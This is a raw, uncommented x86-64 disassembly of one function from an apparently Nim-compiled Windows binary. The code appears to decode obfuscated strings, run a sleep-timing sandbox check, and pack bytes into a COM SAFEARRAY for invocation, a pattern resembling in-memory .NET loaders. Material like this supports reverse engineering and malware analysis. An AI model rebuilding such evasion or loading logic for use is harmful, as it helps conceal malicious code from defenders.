call sub.msvcrt.dll_exit
lea rcx, [0x0041f420]
call fcn.00414ee0
lea rcx, [0x0041f3e0]
call fcn.00414ee0
cmp dword [rax + 0x74], 0
jne 0x41a4eb
call fcn.00404b00
test al, al
je 0x41a6a4
mov rax, qword [0x0053af48]
test rax, rax
je 0x41af30
mov rcx, qword [rax]
add rcx, 2
call fcn.00403fa0
mov r8, qword [0x0053af48]
test r8, r8
je 0x41a688
mov rdx, qword [rax]
mov rdi, qword [r8]
lea r10, [rax + rdx + 0x10]
xor edx, edx
lea r9, [rdi + 1]
jmp 0x41a67d
movzx ecx, byte [r8 + rdx + 0x10]
mov byte [r10 + rdx], cl
add rdx, 1
cmp r9, rdx
jg 0x41a66f
mov rdx, qword [r8]
add qword [rax], rdx
mov rdx, qword [rax]
mov qword [0x0053af40], rax
lea rdx, [rax + rdx + 0x10]
mov word [rdx], 0x6d7a
mov byte [rdx + 2], 0
add qword [rax], 2
mov edx, 0x453f760e
lea rcx, [0x00420880]
call fcn.00404540
call qword [0x0053ad50]
mov ecx, 0x5dc
mov esi, eax
call qword [0x0053ae78]
call qword [0x0053ad50]
sub eax, esi
cmp eax, 0x513
jle 0x41acf5
mov rax, qword [0x0053af40]
test rax, rax
je 0x41ae7e
mov rcx, qword [rax]
add rcx, 2
call fcn.00403fa0
mov r8, qword [0x0053af40]
test r8, r8
je 0x41a72f
mov rdx, qword [rax]
mov rdi, qword [r8]
lea r10, [rax + rdx + 0x10]
xor edx, edx
lea r9, [rdi + 1]
jmp 0x41a724
movzx ecx, byte [r8 + rdx + 0x10]
mov byte [r10 + rdx], cl
add rdx, 1
cmp r9, rdx
jg 0x41a716
mov rdx, qword [r8]
add qword [rax], rdx
mov rdx, qword [rax]
mov qword [0x0053af40], rax
lea rcx, [0x0041f520]
lea rdx, [rax + rdx + 0x10]
mov word [rdx], 0x6166
mov byte [rdx + 2], 0
mov edx, 0x10e6d80a
add qword [rax], 2
call fcn.00404540
mov rcx, rax
call fcn.004064d0
mov rcx, rax
call qword [0x0053ad58]
mov edx, 0xdb746ea
lea rcx, [0x0041f4e0]
call fcn.00404540
mov edx, 0x184a24e
lea rcx, [0x0041f4a0]
mov rsi, rax
call fcn.00404540
mov rcx, rsi
mov rdi, rax
call fcn.004064d0
mov rcx, rdi
mov rsi, rax
call fcn.004064d0
mov rcx, rsi
mov rdi, rax
call qword [0x0053ad58]
add eax, 1
jne 0x41a7c2
mov rcx, rdi
call qword [0x0053ad58]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x0053ad60]
test rax, rax
jne 0x41ae4b
lea rcx, [0x004206c0]
mov edx, 0x556bfdaa
call fcn.00404540
mov edx, 0x705af64a
lea rcx, [0x004206a0]
call fcn.00404540
mov rcx, rax
call fcn.004019c0
mov rcx, rax
call qword [0x0053af28]
mov edx, 0x2931b66e
lea rcx, [0x00420660]
mov rsi, rax
call fcn.00404540
mov rcx, rax
call fcn.004019c0
mov rcx, rsi
mov rdx, rax
call qword [0x0053af20]
mov ecx, 0x3f8
call fcn.00407db0
mov edx, 0x4ef3430a
mov qword [rax], r13
lea rcx, [0x00420540]
mov rsi, rax
call fcn.00404540
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [0x0053ae90]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
call qword [0x0053ae88]
lea rcx, [0x00420500]
mov edx, 0x52f288ae
mov dword [rsp + 0xbc], 0
lea r13, [rax + 0x15]
mov rdi, rax
lea r12, [rax + 0x2a]
call fcn.00404540
lea rcx, section..rdata
test rax, rax
je 0x41a8bf
cmp qword [rax], 0
je 0x41a8bf
lea rcx, [rax + 0x10]
mov rdx, rdi
call fcn.004147d0
lea rcx, [0x004204c0]
mov edx, 0x41cd29ea
call fcn.00404540
lea rcx, section..rdata
test rax, rax
je 0x41a8ee
cmp qword [rax], 0
je 0x41a8ee
lea rcx, [rax + 0x10]
mov rdx, r13
call fcn.004147d0
lea rcx, [0x00420480]
mov edx, 0x7ff8fb4e
call fcn.00404540
lea rcx, section..rdata
test rax, rax
je 0x41a91d
cmp qword [rax], 0
je 0x41a91d
lea rcx, [rax + 0x10]
mov rdx, r12
call fcn.004147d0
mov edx, 0x42f39bca
lea rcx, [0x00420450]
call fcn.00404540
lea rdx, [rdi + 0x93]
lea rcx, section..rdata
test rax, rax
je 0x41a953
cmp qword [rax], 0
je 0x41a953
lea rcx, [rax + 0x10]
call fcn.004147d0
mov edx, 0x2f7e3eee
lea rcx, [0x00420420]
call fcn.00404540
lea r12, [rdi + 0x126]
lea rdx, [rdi + 0x111]
test rax, rax
lea rcx, section..rdata
je 0x41a98d
cmp qword [rax], 0
je 0x41a98d
lea rcx, [rax + 0x10]
call fcn.004147d0
lea rcx, [0x004203e0]
mov edx, 0x31bd10aa
call fcn.00404540
lea rcx, section..rdata
test rax, rax
je 0x41a9b9
cmp qword [rax], 0
je 0x41a9b9
lea rcx, [rax + 0x10]
mov rdx, r12
call fcn.004147d0
lea r9, [rsp + 0xbc]
mov edx, 0x15
mov rcx, rdi
mov r8d, 0x20
call qword [0x0053ae80]
mov edx, 0x76a13b8e
lea rcx, [0x00420320]
call fcn.00404540
mov edx, 0x4dd0c08a
lea rcx, [0x00420180]
call fcn.00404540
xor eax, eax
mov byte [rsi + rax + 0x30], 0
add rax, 1
cmp rax, 0x3c8
jne 0x41aa01
xor eax, eax
mov byte [rsi + rax + 0x10], 0
add rax, 1
cmp rax, 0x20
jne 0x41aa14
lea rcx, [0x004200c0]
mov edx, 0x99f192e
call fcn.00404540
mov edx, 0x5374a36a
lea rcx, [0x0041ff60]
call fcn.00404540
mov edx, 0x4a9d3fce
lea rcx, [0x0041fd80]
call fcn.00404540
mov edx, 0x438b714a
lea rcx, [0x0041fce0]
call fcn.00404540
mov edx, 0x1e83576e
lea rcx, [0x0041fbc0]
call fcn.00404540
call fcn.00406d20
xor ecx, ecx
call fcn.004133e0
mov ecx, 0x5dc
call qword [0x0053ae78]
call fcn.00406740
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8, [0x00406cf0]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [0x0053ae70]
mov edx, 0x32652fea
lea rcx, [0x0041fb00]
call fcn.00404540
mov edx, 0x3f4a6d4e
lea rcx, [0x0041f980]
call fcn.00404540
mov edx, 0x702a11ca
lea rcx, [0x0041f7e0]
call fcn.00404540
mov edx, 0x5c3a00ee
lea rcx, [0x0041f740]
call fcn.00404540
mov rax, qword [0x0053af38]
add rax, 0x10
mov qword [0x0053ae68], rax
mov rax, qword [0x0053af30]
add rax, 0x10
mov qword [0x0053ae60], rax
xor eax, eax
mov byte [rbp + rax], 0
add rax, 1
cmp rax, 0x10
jne 0x41ab23
lea rax, [fcn.0040d3d0]
mov rcx, rsi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xd0], rax
call fcn.0040d3d0
mov r13, qword [0x0053af30]
test r13, r13
je 0x41ae77
mov rsi, qword [r13]
cmp qword [0x0053ae08], 0
je 0x41af24
mov rax, qword [0x0053ae08]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.004019e0
test al, al
je 0x41ad18
cmp byte [0x0053b178], 0
mov qword [rsp + 0xc8], 0
jne 0x41abb3
xor ecx, ecx
call qword [0x0053b170]
mov byte [0x0053b178], 1
call fcn.00407760
lea rdx, [rax + 0x10]
mov qword [rax + 8], 1
add rax, 0x28
mov r15, rdx
mov byte [rdx], 0
add rdx, 1
cmp rdx, rax
jne 0x41abcb
cmp qword [0x0053b120], 0
je 0x41b074
cmp qword [0x0053b118], 0
je 0x41b063
mov rcx, qword [0x0053b118]
mov r8d, 1
mov rdx, r15
xor ebp, ebp
lea rdi, [rsp + 0xc0]
call fcn.0040f350
mov word [r15], 0x2011
mov r8, qword [rsp + 0x30]
mov edx, 1
mov dword [rsp + 0xf4], 0
mov ecx, 0x11
mov dword [rsp + 0xf0], esi
call qword [0x0053b110]
mov qword [rsp + 0x40], rdi
test rax, rax
mov qword [r15 + 8], rax
je 0x41b001
cmp rsi, rbp
jle 0x41ad26
cmp byte [0x0053b178], 0
movzx edi, byte [r13 + rbp + 0x10]
jne 0x41ac78
xor ecx, ecx
call qword [0x0053b170]
mov byte [0x0053b178], 1
call fcn.00407760
lea rdx, [rax + 0x10]
mov qword [rax + 8], 1
add rax, 0x28
mov r12, rdx
mov byte [rdx], 0
add rdx, 1
cmp rax, rdx
jne 0x41ac90
cmp qword [0x0053b120], 0
je 0x41ad0a
cmp qword [0x0053b118], 0
je 0x41acfc
mov rcx, qword [0x0053b118]
mov r8d, 1
mov rdx, r12
call fcn.0040f350
mov byte [r12 + 8], dil
lea r8, [r12 + 8]
mov rdx, qword [rsp + 0x40]
mov word [r12], 0x11
mov dword [rsp + 0xc0], ebp
add rbp, 1
mov rcx, qword [r15 + 8]
call qword [0x0053b088]
jmp 0x41ac51
xor ecx, ecx
call sub.msvcrt.dll_exit
call fcn.0040d200
mov qword [0x0053b118], rax
jmp 0x41acb0
call fcn.0040d200
mov qword [0x0053b120], rax
jmp 0x41aca6
lea rcx, [0x0041f620]
xor edx, edx
call fcn.0040caf0
mov rcx, qword [rsp + 0x50]
lea rbp, [rsp + 0xc8]
xor esi, esi
mov qword [rsp + 0x20], 1
mov r9, rbp
mov r8d, 0x41578
mov qword [rsp + 0xc8], r15
mov edi, 1
lea rdx, [0x0041f650]
mov r13d, 7
lea r12, [0x0053ae20]
call fcn.004120d0
mov qword [rsp + 0x40], rax
cmp byte [0x0053ae00], 0
jne 0x41ad9f
call qword [0x0053adf8]
mov rcx, rax
call fcn.00407b90
mov rcx, rax
call fcn.0040ff90
mov byte [0x0053ae00], 1
mov qword [0x0053adf0], rax
mov rax, qword [0x0053adf0]
test rax, rax
je 0x41b085
mov rcx, qword [rax]
lea rdx, [rcx - 1]
cmp rdi, rdx
jg 0x41b085
cmp byte [0x0053ae00], 0
jne 0x41adf5
call qword [0x0053adf8]
mov rcx, rax
call fcn.00407b90
mov rcx, rax
call fcn.0040ff90
mov byte [0x0053ae00], 1
test rax, rax
mov qword [0x0053adf0], rax
je 0x41ae88
cmp rdi, qword [rax]
jge 0x41ae88
mov r15, qword [rax + rdi*8 + 0x10]
test r15, r15
je 0x41b3ee
cmp qword [r15 + 8], 0
jns 0x41afa1
mov rcx, rsi
mov rdx, r12
call fcn.0040fbf0
mov r10, r15
mov r9, qword [rax]
mov rsi, rax
lea rax, [r9 + 1]
mov qword [rsi], rax
cmp qword [r15 + 8], 0
jns 0x41af3a
mov qword [rsi + r9*8 + 0x10], r10
add rdi, 1
jmp 0x41ad72
lea rcx, [0x0041f580]
mov edx, 0x2d5bbdee
call fcn.00404540
mov rcx, rax
mov qword [0x0053af48], rax
call fcn.004042e0
mov qword [0x0053af40], rax
jmp 0x41a7e2
xor esi, esi
jmp 0x41ab65
mov ecx, 2
jmp 0x41a6f2
call fcn.00407fe0
mov rsi, rax
mov qword [rax], rbx
lea rax, str.IndexDefect
mov qword [rsi + 0x10], rax
mov rax, qword [0x0053adf0]
test rax, rax
je 0x41aeb4
cmp qword [rax], 0
jg 0x41b27b
mov ecx, 0x4c
call fcn.00403db0
movdqa xmm0, xmmword [0x00533da0]
xor edx, edx
mov qword [rax + 8], 1
lea r9, [rax + 0x10]
movups xmmword [rax + 0x10], xmm0
lea r8, [0x0041f5f0]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx + 0x20], cl
add rdx, 1
cmp rdx, 0x2c
jne 0x41aedf
mov qword [rsi + 0x18], r9
mov qword [rsi + 8], 0
lea r9, str.os.avs
mov rcx, rsi
mov qword [rsp + 0x20], 0xb7b
lea r8, str.paramStr
lea rdx, str.IndexDefect
call fcn.0040a550
xor ecx, ecx
call fcn.004133e0
jmp 0x41ab73
mov ecx, 2
jmp 0x41a64b
cmp qword [r15], 7
mov rdx, r13
mov qword [rsp + 0x60], r9
cmovge rdx, qword [r15]
mov qword [rsp + 0x50], rdx
lea rcx, [rdx + 0x21]
call fcn.00403db0
mov rdx, qword [rsp + 0x50]
lea r10, [rax + 0x10]
mov qword [rax + 8], 1
mov r9, qword [rsp + 0x60]
mov qword [r10 + 8], rdx
xor edx, edx
mov qword [rax + 0x10], 0
mov r8, qword [r15]
mov qword [rax + 0x10], r8
add r8, 1
jmp 0x41af97
movzx ecx, byte [r15 + rdx + 0x10]
mov byte [rax + rdx + 0x20], cl
add rdx, 1
cmp r8, rdx
jg 0x41af89
jmp 0x41ae3d
cmp qword [r15], 7
mov rdx, r13
cmovge rdx, qword [r15]
mov qword [rsp + 0x50], rdx
lea rcx, [rdx + 0x21]
call fcn.00403db0
mov rdx, qword [rsp + 0x50]
lea r9, [rax + 0x10]
mov qword [rax + 8], 1
mov qword [r9 + 8], rdx
xor edx, edx
mov qword [rax + 0x10], 0
mov r8, qword [r15]
mov qword [rax + 0x10], r8
add r8, 1
jmp 0x41aff4
movzx ecx, byte [r15 + rdx + 0x10]
mov byte [rax + rdx + 0x20], cl
add rdx, 1
cmp r8, rdx
jg 0x41afe6
mov r15, r9
jmp 0x41ae17
call fcn.00407fe0
mov edx, 1
mov ecx, 0x2011
lea rsi, str.VariantConversionError
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 0x10], rsi
call fcn.00408370
lea rcx, [0x005338e0]
mov rdx, rax
call fcn.00404b80
mov qword [rbx + 8], 0
mov rdx, rsi
mov rcx, rbx
mov qword [rbx + 0x18], rax
lea r9, str.com.avs
mov qword [rsp + 0x20], 0x1e5
lea r8, str.toVariant
call fcn.0040a550
call fcn.0040d200
mov qword [0x0053b118], rax
jmp 0x41abf3
call fcn.0040d200
mov qword [0x0053b120], rax
jmp 0x41abe5
lea rcx, [0x0041f6c0]
mov edx, 0x1d4f76aa
xor edi, edi
call fcn.00404540
test rsi, rsi
je 0x41b0a0
mov rdi, qword [rsi]
cmp byte [0x0053b178], 0
jne 0x41b0b8
xor ecx, ecx
call qword [0x0053b170]
mov byte [0x0053b178], 1
call fcn.00407760
lea rdx, [rax + 0x10]
mov qword [rax + 8], 1
add rax, 0x28
mov rbx, rdx
mov byte [rdx], 0
add rdx, 1
cmp rax, rdx
jne 0x41b0d0
cmp qword [0x0053b120], 0
je 0x41b444
cmp qword [0x0053b118], 0
je 0x41b433
mov rcx, qword [0x0053b118]
mov r8d, 1
mov rdx, rbx
xor r12d, r12d
call fcn.0040f350
mov word [rbx], 0x2008
mov r8, qword [rsp + 0x30]
mov edx, 1
mov dword [rsp + 0xf4], 0
mov ecx, 8
mov dword [rsp + 0xf0], edi
call qword [0x0053b110]
test rax, rax
mov qword [rbx + 8], rax
jne 0x41b171
jmp 0x41b40e
mov rcx, qword [rsi + r12*8 + 0x10]
call fcn.0040fa00
mov dword [rsp + 0xc8], r12d
mov rdx, rbp
mov rcx, qword [rbx + 8]
mov r8, qword [rax + 8]
add r12, 1
call qword [0x0053b088]
cmp rdi, r12
jg 0x41b14a
mov rcx, qword [rsp + 0x40]
lea rdx, [0x0041f6a0]
mov qword [rsp + 0x20], 0
mov r8d, 0x41500
lea r9, [rsp + 0xc0]
mov qword [rsp + 0xc0], 0
call fcn.00412eb0
mov rdx, qword [rsp + 0x30]
mov rsi, rax
xor eax, eax
mov byte [rdx + rax], 0
add rax, 1
cmp rax, 0x10
jne 0x41b1b4
mov rax, qword [0x0053ae10]
mov rcx, rbp
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0xf0], rax
call fcn.0040f7d0
mov r9, qword [rsp + 0x30]
mov r8d, 0x41500
mov rcx, rsi
mov qword [rsp + 0x20], 2
lea rdx, [0x0041f670]
mov qword [rsp + 0xf8], rax
call fcn.00412eb0
nop
movaps xmm6, xmmword [rsp + 0x110]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x120]
movaps xmm8, xmmword [rsp + 0x130]
movaps xmm9, xmmword [rsp + 0x140]
movaps xmm10, xmmword [rsp + 0x150]
movaps xmm11, xmmword [rsp + 0x160]
movaps xmm12, xmmword [rsp + 0x170]
movaps xmm13, xmmword [rsp + 0x180]
movaps xmm14, xmmword [rsp + 0x190]
movaps xmm15, xmmword [rsp + 0x1a0]
add rsp, 0x1b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0xf0], 0
call fcn.00405cc0
mov rax, qword [0x0053adf0]
mov rdi, qword [rsp + 0xf0]
test rax, rax
je 0x41b2ab
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30]
lea rdx, [rax - 1]
mov qword [rsp + 0xf0], 0
call fcn.00405cc0
test rdi, rdi
mov rbx, qword [rsp + 0xf0]
je 0x41b45c
mov rdx, qword [rdi]
test rbx, rbx
je 0x41b455
mov rax, qword [rbx]
lea r12, [rdx + rax + 0x13]
mov eax, 7
cmp r12, 7
cmovl r12, rax
lea rcx, [r12 + 0x21]
call fcn.00403db0
lea rbp, [r12 + 0x11]
xor edx, edx
mov qword [rax + 8], 1
lea rcx, [rax + 0x10]
mov byte [rdx + rcx], 0
add rdx, 1
cmp rbp, rdx
jg 0x41b314
mov qword [rcx + 8], r12
lea r9, [0x0041f5d0]
xor edx, edx
mov qword [rax + 0x10], 0
movzx r8d, byte [r9 + rdx]
mov byte [rax + rdx + 0x20], r8b
add rdx, 1
cmp rdx, 7
jne 0x41b336
mov rdx, qword [rax + 0x10]
test rdi, rdi
mov r8, rdx
lea rdx, [rdx + 6]
mov qword [rax + 0x10], rdx
lea r10, [rcx + r8 + 0x16]
je 0x41b38b
mov rdx, qword [rdi]
lea r9, [rdx + 1]
xor edx, edx
jmp 0x41b37c
movzx r8d, byte [rdi + rdx + 0x10]
mov byte [r10 + rdx], r8b
add rdx, 1
cmp r9, rdx
jg 0x41b36e
mov rdx, qword [rdi]
add qword [rcx], rdx
mov rdx, qword [rax + 0x10]
lea r10, [rcx + rdx + 0x10]
xor edx, edx
lea r9, [0x0041f5b0]
movzx r8d, byte [r9 + rdx]
mov byte [r10 + rdx], r8b
add rdx, 1
cmp rdx, 0xe
jne 0x41b399
mov rdx, qword [rax + 0x10]
test rbx, rbx
lea r8, [rdx + 0xd]
mov qword [rax + 0x10], r8
je 0x41b3e5
mov rax, qword [rbx]
lea r9, [rcx + rdx + 0x1d]
lea r8, [rax + 1]
xor eax, eax
jmp 0x41b3da
movzx edx, byte [rbx + rax + 0x10]
mov byte [r9 + rax], dl
add rax, 1
cmp r8, rax
jg 0x41b3cd
mov rax, qword [rbx]
add qword [rcx], rax
mov qword [rsi + 0x18], rcx
jmp 0x41aef6
mov rcx, rsi
mov rdx, r12
call fcn.0040fbf0
xor r10d, r10d
mov r9, qword [rax]
mov rsi, rax
lea rax, [r9 + 1]
mov qword [rsi], rax
jmp 0x41ae3d
call fcn.00407fe0
mov edx, 1
mov ecx, 0x2008
lea rsi, str.VariantConversionError
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 0x10], rsi
jmp 0x41b021
call fcn.0040d200
mov qword [0x0053b118], rax
jmp 0x41b0f8
call fcn.0040d200
mov qword [0x0053b120], rax
jmp 0x41b0ea
xor eax, eax
jmp 0x41b2e5
xor edx, edx
jmp 0x41b2d9